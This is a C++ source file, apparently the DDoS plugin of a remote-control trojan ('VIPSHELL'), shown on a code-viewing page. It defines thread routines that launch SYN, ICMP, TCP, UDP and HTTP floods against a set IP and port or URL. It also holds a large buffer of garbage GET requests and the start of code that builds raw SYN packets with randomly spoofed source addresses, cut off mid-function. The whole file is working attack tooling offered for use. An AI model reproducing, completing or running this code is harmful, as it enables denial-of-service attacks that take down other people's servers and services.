📄 ddos.cpp
字号:
#pragma warning( disable : 4530 )
#pragma warning( disable : 4786 )
#include <winsock2.h>
#ifdef _VIPSHELL_ALL
#include "../ServerAll/PlugDef.h"
#else
#include "PlugDef.h"
#endif
#include <windows.h>
#include <Wininet.h>
#define IP_HDRINCL 2 /* header is included with data */
//
//
#pragma comment(lib, "ws2_32.lib")
#pragma comment(lib, "Wininet.lib")
#define PacketNum 4096
static char SendBuff[PacketNum][60] = {0};
const char icmpBuffer[4000]=
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp"
"GET *(&*^TGH*JIHG^&*(&^%*(*)OK)(*&^%$EDRGF%&^.html"
"GET ^&&%$%$^%$#^&**(*((&*^%$##$%^&*(*&^%$%^&*.htm"
"GET ^*%%RTG*(&^%FTGYHJIJ%^&*()*&*^&%RDFG(JKJH.asp";
USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;
while(size >1)
{
cksum+=*buffer++;
size -=sizeof(USHORT);
}
if(size)
{
cksum += *(UCHAR*)buffer;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >>16);
return (USHORT)(~cksum);
}
DWORD WINAPI Threadsyn_flood(LPVOID lp )
{
CDDos* pThis = (CDDos*)lp;
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Run );
std::string strIp;
USHORT port;
pThis->GetAddr( &strIp, &port );
pThis->syn_flood( strIp.c_str(), port );
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Stop );
return 0;
}
DWORD WINAPI Threadicmp_flood(LPVOID lp )
{
CDDos* pThis = (CDDos*)lp;
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Run );
std::string strIp;
USHORT port;
pThis->GetAddr( &strIp, &port );
pThis->icmp_flood( strIp.c_str(), port );
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Stop );
return 0;
}
DWORD WINAPI Threadtcp_flood(LPVOID lp )
{
CDDos* pThis = (CDDos*)lp;
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Run );
std::string strIp;
USHORT port;
pThis->GetAddr( &strIp, &port );
CPinboardPtr<I_Buffer> spBuffer;
pThis->GetSendBuffer( &spBuffer );
pThis->tcp_flood( strIp.c_str(), port , spBuffer );
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Stop );
return 0;
}
DWORD WINAPI Threadhttp_flood(LPVOID lp )
{
CDDos* pThis = (CDDos*)lp;
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Run );
std::string strIp;
USHORT port;
pThis->GetAddr( &strIp, &port );
std::wstring strUrl;
pThis->GetUrl( &strUrl );
pThis->http_flood( strUrl.c_str() );
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Stop );
return 0;
}
DWORD WINAPI ThreadUdp_flood(LPVOID lp )
{
CDDos* pThis = (CDDos*)lp;
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Run );
std::string strIp;
USHORT port;
pThis->GetAddr( &strIp, &port );
pThis->udp_flood( strIp.c_str(), port );
pThis->SetIsStop( false );
pThis->SetWorkType( enumDDosType_Stop );
return 0;
}
CDDos::~CDDos()
{
}
bool CDDos::InitInstance()
{
CreateBuffer( &m_spBuffer );
SetWorkType( enumDDosType_Stop );
return true;
}
bool CDDos::SetDDosUrl(LPCWSTR szUrl)
{
CMySingleLock lock(&m_Locker);
m_strUrl = szUrl;
return true;
}
bool CDDos::SetAddr(char* szIp, USHORT port)
{
CMySingleLock lock(&m_Locker);
m_strip = szIp;
m_port = port;
return true;
}
bool CDDos::SetSendBuff(BYTE* p, size_t nlen)
{
CMySingleLock lock(&m_Locker);
m_spBuffer->Append( p, nlen );
return true;
}
bool CDDos::StartsynDDos()
{
CMySingleLock lock(&m_Locker);
if( m_worktype == enumDDosType_Run )
return false;
m_type = DdosType_syn;
CreateThread( 0, 0, Threadsyn_flood, this, 0 ,0);
return true;
}
bool CDDos::StarticmpDDos()
{
CMySingleLock lock(&m_Locker);
if( m_worktype == enumDDosType_Run )
return false;
m_type = DdosType_icmp;
CreateThread( 0, 0, Threadicmp_flood, this, 0 ,0);
return true;
}
bool CDDos::StarttcpDDos()
{
CMySingleLock lock(&m_Locker);
if( m_worktype == enumDDosType_Run )
return false;
m_type = DdosType_tcp;
CreateThread( 0, 0, Threadtcp_flood, this, 0 ,0);
return true;
}
bool CDDos::StartudpDDos()
{
CMySingleLock lock(&m_Locker);
if( m_worktype == enumDDosType_Run )
return false;
m_type = DdosType_udp;
CreateThread( 0, 0, ThreadUdp_flood, this, 0 ,0);
return true;
}
bool CDDos::StarthttpDDos()
{
CMySingleLock lock(&m_Locker);
if( m_worktype == enumDDosType_Run )
return false;
m_type = DdosType_http;
CreateThread( 0, 0, Threadhttp_flood, this, 0 ,0);
return true;
}
bool CDDos::GetType(enumDdosType* type)
{
CMySingleLock lock(&m_Locker);
*type = m_type;
return true;
}
bool CDDos::GetWorkType(enumDDosWorkType* type)
{
CMySingleLock lock(&m_Locker);
*type = m_worktype;
return true;
}
bool CDDos::Stop()
{
{{
CMySingleLock lock(&m_Locker);
if( m_worktype == enumDDosType_Stop )
return true;
SetIsStop( true );
}}
while(true)
{
Sleep(10);
if( !IsStop() )
return true;
}
return true;
}
bool CDDos::IsStop()
{
CMySingleLock lock(&m_Locker);
return m_IsStop;
}
bool CDDos::SetIsStop(bool f )
{
CMySingleLock lock(&m_Locker);
m_IsStop = f;
return true;
}
bool CDDos::SetWorkType(enumDDosWorkType type)
{
CMySingleLock lock(&m_Locker);
m_worktype = type;
return true;
}
bool CDDos::GetAddr(std::string* pStr, USHORT* port)
{
CMySingleLock lock(&m_Locker);
*pStr = m_strip;
*port = m_port;
return true;
}
bool CDDos::GetSendBuffer(I_Buffer** ppv)
{
CMySingleLock lock(&m_Locker);
CPinboardPtr<I_Buffer> spBuffer = m_spBuffer;
*ppv = spBuffer.detach();
return true;
}
bool CDDos::GetUrl(std::wstring* pStr)
{
CMySingleLock lock(&m_Locker);
*pStr = m_strUrl;
return true;
}
void fill_syn_buffer(const char* szip, USHORT nProt)
{
WSADATA wsaData;
WSAStartup(MAKEWORD(2, 2), &wsaData);
IP_HEADER IpHeader;
TCP_HEADER TcpHeader;
PSD_HEADER PsdHeader;
srand(GetTickCount());
char src_ip[20] = {0};
for ( int n = 0; n < PacketNum; n++ )
{
wsprintfA( src_ip, "%d.%d.%d.%d", rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1, rand() % 250 + 1 );
//填充IP首部
IpHeader.h_verlen = (4<<4 | sizeof(IpHeader)/sizeof(unsigned long));
IpHeader.tos = 0;
IpHeader.total_len = htons(sizeof(IpHeader)+sizeof(TcpHeader));
IpHeader.ident = 1;
IpHeader.frag_and_flags = 0x40;
IpHeader.ttl = 128;
IpHeader.proto = IPPROTO_TCP;
IpHeader.checksum = 0;
IpHeader.sourceIP = inet_addr(src_ip);
IpHeader.destIP = inet_addr(szip);
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -